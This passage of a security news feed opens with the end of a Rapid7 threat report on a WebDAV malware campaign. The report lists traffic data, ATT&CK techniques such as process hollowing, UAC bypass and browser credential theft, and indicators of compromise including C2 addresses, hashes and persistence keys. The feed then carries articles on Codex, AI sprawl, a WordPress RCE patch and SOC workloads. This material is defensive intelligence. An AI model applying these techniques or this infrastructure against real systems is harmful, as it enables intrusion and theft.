Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[OpenAI’s Codex context reduction for GPT 5.6 sparks dissatisfaction among developers]]></title>
<description><![CDATA[OpenAI’s recent update to its Codex coding agent has developers worrying over the impact of the change on large code repositories and long-running AI-assisted sessions.



The update to the Codex CLI reduces the default configured input context window for GPT-5.6 to 272,000 tokens from 372,000 to...]]></description>
<link>https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681246/ai-nachrichten/openais-codex-context-reduction-for-gpt-56-sparks-dissatisfaction-among-developers/</guid>
<pubDate>Mon, 20 Jul 2026 15:19:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI’s recent update to its Codex coding agent has developers worrying over the impact of the change on large code repositories and long-running AI-assisted sessions.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/openai/codex/pull/34009" target="_blank" rel="noreferrer noopener">update to the Codex CLI</a> reduces the default configured input context window for GPT-5.6 to 272,000 tokens from 372,000 tokens.</p>



<p class="wp-block-paragraph">In practice, the update means the coding agent will retain a smaller amount of code, conversation history, and other session information before compacting older context to make room for new information, a change that has prompted criticism from some developers on <a href="https://www.reddit.com/r/codex/comments/1v02y73/gpt56_context_reduced_to_272k/" target="_blank" rel="noreferrer noopener">Reddit</a> and <a href="https://x.com/Codex_Changelog/status/2079018788876411322" target="_blank" rel="noreferrer noopener">X</a> over the reduced token window.</p>



<p class="wp-block-paragraph">While OpenAI has not publicly explained the rationale behind the update, several developers took to social media to question why OpenAI reduced the default context configuration, with some arguing that the change could make Codex less effective on long-running coding sessions by triggering context compaction sooner.</p>



<p class="wp-block-paragraph">Others expressed concern that the smaller window could require more frequent context management or session resets, although some noted that the practical impact would depend on project size and how developers structure their workflows.</p>



<h2 class="wp-block-heading">Smaller context, bigger workflow implications</h2>



<p class="wp-block-paragraph">The context window reduction could affect developer productivity and the adoption of autonomous agents in enterprise workflows, analysts say.</p>



<p class="wp-block-paragraph">“While the context reduction in Codex is unlikely to affect routine coding tasks such as bug fixes or changes involving a few files, it could impact large codebases, repository-wide refactoring, and long-running sessions,” said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<p class="wp-block-paragraph">“Less memory per session means the AI agent forgets earlier parts of a long coding session sooner. The agent may need to summarize or reload context more often, increasing repeated searches, occasional loss of earlier decisions and the need for developers to re-establish context,” Jain added.</p>



<p class="wp-block-paragraph">That need for manual context management, according to <a href="https://www.linkedin.com/in/muskan-bandta2004/" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev, goes completely against the “whole appeal” of Codex-like tools that promised improved productivity out-of-the-box: “A lot of developers are saying their sessions now spend more time on compacting than actually working.”</p>



<p class="wp-block-paragraph">“While context reduction may not further inflate bills, it shows up as more retries, more compaction, and your engineers spending more time babysitting the thing. The spend just moves from the invoice onto your team’s time.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika, said that the context reduction will force development teams to choose between two options: either accept that the agent is reasoning with an incomplete picture of the required context or learn to manage a new design constraint around context compaction.</p>



<p class="wp-block-paragraph">Development teams, Jena said, will need to design workflows that proactively manage context: by breaking work into smaller tasks, relying more on retrieval mechanisms, and monitoring context consumption.</p>



<p class="wp-block-paragraph">That forced design constraint on engineering, echoed Bandta, will slow the enterprise adoption of agent-driven workflows: “Context is the agent’s working memory, so cutting it by a third changes what you can trust it to do at all.”</p>



<h2 class="wp-block-heading">Build for changing AI platforms, not fixed limits?</h2>



<p class="wp-block-paragraph">More broadly, analysts pointed out that the episode is a reminder that enterprises should avoid tightly coupling software development workflows to the current operational characteristics of managed AI coding platforms, as context limits, pricing, runtime behavior, and model availability are all likely to evolve with little or no advance notice.</p>



<p class="wp-block-paragraph">“Enterprises should avoid depending on any single context window, continuously benchmark AI coding tools on real workloads, and build workflows around retrieval, modular design, and agent orchestration so they remain resilient as models evolve,” Jain said.</p>



<p class="wp-block-paragraph">Kanerika’s Jena echoed that view: “The right approach is to build AI-assisted development pipelines that degrade gracefully when operational parameters shift: instrument your context consumption, don’t hard-code context budgets, and treat the vendor’s current specifications as a starting point, not a contract.” Similarly, Bandta advised enterprises to treat managed AI coding platforms like any other critical software dependency: “Don’t build anything that only works right at the edge of a limit, and keep enough flexibility that you’re not stuck if one vendor changes the deal.”</p>
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<title><![CDATA[AI’s problems aren’t what you think]]></title>
<description><![CDATA[The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage co...]]></description>
<link>https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The biggest and loudest prediction about AI is that it will <a href="https://www.axios.com/2025/05/28/ai-jobs-white-collar-unemployment-anthropic">eliminate</a> millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as <a href="https://www.ibm.com/think/topics/ai-agent-sprawl">AI sprawl.</a></p>



<p class="wp-block-paragraph">None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.</p>



<p class="wp-block-paragraph">What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.</p>



<p class="wp-block-paragraph">The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.</p>



<p class="wp-block-paragraph">But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one <a href="https://www.businessinsider.com/ai-tokenmaxxing-fails-as-productivity-strategy-jellyfish-2026-5?utm">industry analysis</a> found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  </p>



<p class="wp-block-paragraph">At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?</p>



<h2 class="wp-block-heading">From experimentation to sprawl</h2>



<p class="wp-block-paragraph">Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.</p>



<p class="wp-block-paragraph">I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.</p>



<p class="wp-block-paragraph">Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.</p>



<p class="wp-block-paragraph">By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.</p>



<p class="wp-block-paragraph">Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.</p>



<p class="wp-block-paragraph">Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.</p>



<h2 class="wp-block-heading">AI strategy cannot sit beside growth strategy</h2>



<p class="wp-block-paragraph">This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.</p>



<p class="wp-block-paragraph">Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.</p>



<p class="wp-block-paragraph">Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.</p>



<p class="wp-block-paragraph">Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.</p>



<h2 class="wp-block-heading">What implementation actually takes</h2>



<p class="wp-block-paragraph">All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.</p>



<p class="wp-block-paragraph">They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.</p>



<p class="wp-block-paragraph">This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-shadow-ai">shadow AI</a> problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.</p>



<p class="wp-block-paragraph">That matters for the people as much as it does for the budget. Those that modernize well end up with <em>better</em> work – not just less of it.</p>



<p class="wp-block-paragraph">The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Patch now: WordPress REST API bug allows remote code execution]]></title>
<description><![CDATA[Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.



The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default W...]]></description>
<link>https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681114/it-security-nachrichten/patch-now-wordpress-rest-api-bug-allows-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Organizations running recent versions of WordPress are being asked to patch a newly detailed pre-authentication remote code execution (RCE) vulnerability affecting the platform’s built-in REST Batch API.</p>



<p class="wp-block-paragraph">The flaw, dubbed wp2shell, enables attackers to execute arbitrary code against a default WordPress installation without requiring plugins, authentication, or special configuration.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/adam-kues/" target="_blank" rel="noreferrer noopener">Adam Kues</a> of Searchlight Cyber first reported the issue and published a public <a href="https://wp2shell.com/" target="_blank" rel="noreferrer noopener">checker</a> to assess risks, holding back technical details until a patch was available and admins had enough time to apply it.</p>



<p class="wp-block-paragraph">In a technical analysis published by Hadrian, researchers reconstructed the root cause from WordPress’ <a href="https://wordpress.org/news/2026/07/wordpress-7-0-2-release/" target="_blank" rel="noreferrer noopener">security patch</a> released on July 17. The vulnerability, they said, resides in the core REST API batch endpoint “batch/v1,” where an indexing mismatch during request validation can cause request objects and their associated permission checks to become misaligned.</p>



<p class="wp-block-paragraph">As a result, a crafted batch request can be processed under the wrong authorization context, ultimately allowing remote code execution.</p>



<p class="wp-block-paragraph">“An attacker who reaches the bug gains unauthenticated code execution on the web server,” the researchers <a href="https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api" target="_blank" rel="noreferrer noopener">said.</a> “In practice, that means full control of the site and its content, access to the database and whatever credentials or personal data it holds, and a way into the surrounding hosting environment.”</p>



<p class="wp-block-paragraph">The issue affects WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. According to Hadrian, versions 6.9.5 and 7.0.2 contain the fix, while 6.8.6 includes the same hardening changes even though earlier 6.8.x releases are not affected by this specific vulnerability.</p>



<p class="wp-block-paragraph">Because the vulnerable component is part of WordPress Core and the REST Batch API is enabled by default, any affected site exposing the REST API is potentially reachable by attackers. The researchers said this endpoint remains accessible through both “/wp-json/batch/v1” and the alternate /“?rest_route=/batch/v1” path, even on deployments without rewrite rules.</p>



<p class="wp-block-paragraph">Hadrian recommended upgrading immediately to WordPress 6.9.5 or 7.02, verifying that updates completed successfully, and, where patching cannot be performed immediately, blocking unauthorized access to both REST Batch API endpoints at the web server and through <a href="https://www.csoonline.com/article/563657/calling-barracudas-waf-a-firewall-is-seriously-selling-it-short.html">WAF</a>.</p>



<p class="wp-block-paragraph">Organizations were also advised to inventory all WordPress deployments, including staging and forgotten campaign sites, and review whether unauthorized access to the REST API is necessary for their environment.</p>
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<title><![CDATA[Avengers: Doomsday tickets are going on sale shortly — and some fans are convinced that Marvel will surprise us, and reveal the new MCU movie's official trailer, too]]></title>
<description><![CDATA[Marvel fans have a new theory about Avengers: Doomsday's next trailer — but it's not one I can get on board with.]]></description>
<link>https://tsecurity.de/de/3680882/it-nachrichten/avengers-doomsday-tickets-are-going-on-sale-shortly-and-some-fans-are-convinced-that-marvel-will-surprise-us-and-reveal-the-new-mcu-movies-official-trailer-too/</link>
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<pubDate>Mon, 20 Jul 2026 12:48:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Marvel fans have a new theory about Avengers: Doomsday's next trailer — but it's not one I can get on board with.]]></content:encoded>
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<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



